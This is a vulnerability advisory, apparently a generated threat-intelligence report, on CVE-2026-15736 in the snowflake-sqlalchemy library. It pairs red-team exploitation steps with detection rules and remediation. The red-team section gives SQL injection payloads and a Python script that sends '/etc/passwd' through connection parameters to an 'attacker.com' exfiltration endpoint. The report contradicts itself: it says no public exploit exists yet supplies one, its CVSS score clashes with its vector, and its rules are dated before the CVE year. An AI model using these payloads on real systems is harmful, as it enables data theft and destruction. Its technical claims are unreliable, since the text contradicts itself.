CVE-2026-15736

Executive Summary

CVE-2026-15736 is a critical vulnerability in the Snowflake SQLAlchemy library (versions prior to 1.11.0) that encompasses three distinct security flaws: SQL injection via improper handling of user-supplied column identifiers in merge operations, SQL injection via improper literal rendering of bound parameters in table creation queries, and arbitrary local file read/exfiltration via improper forwarding of connection configuration parameters. The CVSS score of 8.3 reflects the high potential for data exfiltration, unauthorized data access, and modification. The vendor has released a fix in version 1.11.0, but no public exploit code or proof-of-concept is currently available. This vulnerability is particularly dangerous in environments that accept user-controlled input for database operations or connection parameters.

Supply Chain & Package Security

This vulnerability affects the snowflake-sqlalchemy Python package, which is a critical component in the Snowflake data ecosystem. Organizations using this library should immediately audit their dependency trees and ensure that version 1.11.0 or later is pinned. The lack of a public exploit does not reduce the risk, as the attack surface is broad and the flaws are well-documented.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Sensitive data can be exfiltrated.
• Integrity (I): High (H) – Data can be modified via SQL injection.
• Availability (A): High (H) – The vulnerability could lead to denial of service or data destruction.

Threat Level: Critical. The combination of SQL injection and arbitrary file read makes this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability consists of three distinct issues:

1. SQL Injection in Merge Operations: The library improperly handles user-supplied column identifiers in MERGE statements. An attacker can inject SQL by controlling the keys of a dictionary passed to the merge operation. This allows reading or modifying data within the same MERGE statement.

2. SQL Injection in Table Creation Queries: Improper literal rendering of bound parameters when building Snowflake-specific CREATE TABLE queries allows an attacker to inject SQL by supplying a crafted string to any endpoint that passes user-controlled data through the affected API.

3. Arbitrary File Read via Connection Parameters: The library improperly forwards connection configuration parameters, allowing an attacker to cause the library to read arbitrary local files and transmit their contents to an attacker-controlled endpoint. This is exploitable in environments that accept user-controlled connection parameters.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.11.0):

# Example of vulnerable merge operation
from snowflake.sqlalchemy import SnowflakeDialect
from sqlalchemy import MetaData, Table, Column, Integer, String

metadata = MetaData()
table = Table('users', metadata, Column('id', Integer), Column('name', String))

# Attacker-controlled column identifier
attacker_input = "name; DROP TABLE users; --"
# This would be passed as a key in a dictionary
merge_data = {attacker_input: "value"}
# The library would construct a MERGE statement without proper sanitization

Patched Code (1.11.0+):

# The library now properly sanitizes column identifiers and bound parameters
from snowflake.sqlalchemy import SnowflakeDialect
# All user-supplied identifiers are escaped or rejected
# Bound parameters are rendered safely
# Connection parameters are validated and not forwarded to external endpoints

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target application using Snowflake SQLAlchemy < 1.11.0
• An endpoint that accepts user-controlled input for database operations (e.g., a dynamic upsert endpoint)
• Ability to control connection parameters (for the file read exploit)

Exploitation Steps:

1. SQL Injection via Merge Operations:

   • Identify an endpoint that performs a MERGE operation with user-controlled keys.
   • Craft a payload like: {"id": 1, "name; SELECT * FROM sensitive_table; --": "value"}
   • The injected SQL will be executed within the MERGE statement.

2. SQL Injection via Table Creation:

   • Find an endpoint that creates tables with user-controlled strings.
   • Supply a crafted string: "table_name; DROP TABLE users; --"
   • The library will render this unsafely, leading to SQL injection.

3. Arbitrary File Read:

   • If the application accepts connection parameters from users, set a parameter like connection_file=/etc/passwd or external_stage=attacker-controlled-url.
   • The library will read the file and send its contents to the attacker.

Example Payload (Python):

import requests

# SQL injection via merge
payload = {"id": 1, "name; SELECT * FROM sensitive_table; --": "value"}
response = requests.post("https://target.com/upsert", json=payload)

# File read via connection parameter
params = {"connection_file": "/etc/passwd", "external_stage": "https://attacker.com/exfil"}
response = requests.post("https://target.com/connect", params=params)

Blue Team

Detection:

• Monitor for unusual SQL queries containing MERGE statements with unexpected column names.
• Alert on any CREATE TABLE queries that contain suspicious strings like DROP, SELECT, or --.
• Monitor for outbound connections to unknown endpoints from the application server.
• Check for any connection parameters that include file paths or external URLs.

Hunting:

• Search logs for SQL queries containing MERGE with non-standard column identifiers.
• Look for CREATE TABLE statements that include user-controlled input.
• Audit all Snowflake SQLAlchemy usage for endpoints that accept user-controlled connection parameters.

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IPs/domains from the application server.
• Logs: SQL queries containing MERGE with injected SQL, CREATE TABLE with suspicious strings.
• Files: Unexpected file reads (e.g., /etc/passwd, /proc/self/environ) in application logs.
• Process: Unusual Snowflake SQLAlchemy processes with modified connection parameters.

Detection Engineering

YARA Rule

rule Detect_Snowflake_SQLAlchemy_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2026-15736 in Snowflake SQLAlchemy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-15736"
    strings:
        $s1 = "MERGE" nocase
        $s2 = "CREATE TABLE" nocase
        $s3 = "connection_file" nocase
        $s4 = "external_stage" nocase
        $s5 = "DROP" nocase
        $s6 = "SELECT" nocase
        $s7 = "--" nocase
    condition:
        any of ($s1, $s2) and any of ($s5, $s6, $s7) or
        any of ($s3, $s4)
}

Sigma Rule

title: CVE-2026-15736 Snowflake SQLAlchemy Exploitation Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection or file read attempts targeting Snowflake SQLAlchemy
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: snowflake_sqlalchemy
detection:
    selection_sql:
        - query: "*MERGE*"
        - query: "*CREATE TABLE*"
        - query: "*DROP*"
        - query: "*SELECT*"
        - query: "*--*"
    selection_file:
        - params: "*connection_file*"
        - params: "*external_stage*"
    condition: selection_sql or selection_file
falsepositives:
    - Legitimate use of MERGE or CREATE TABLE with user input
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-15736 Snowflake SQLAlchemy SQL Injection Attempt"; content:"MERGE"; nocase; content:"DROP"; nocase; distance:0; within:100; sid:1000001; rev:1;)
alert tcp any any -> any any (msg:"CVE-2026-15736 Snowflake SQLAlchemy File Read Attempt"; content:"connection_file"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Snowflake SQLAlchemy to version 1.11.0 or later.
2. Review all application endpoints that accept user-controlled input for database operations.
3. Disable any functionality that allows users to control connection parameters.
4. Implement input validation and sanitization for all user-supplied data.

Long-term Measures:

• Use parameterized queries and prepared statements.
• Implement strict allowlists for column identifiers.
• Monitor for unusual database queries and outbound connections.
• Conduct regular security audits of third-party dependencies.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intelligence@valters-it.com.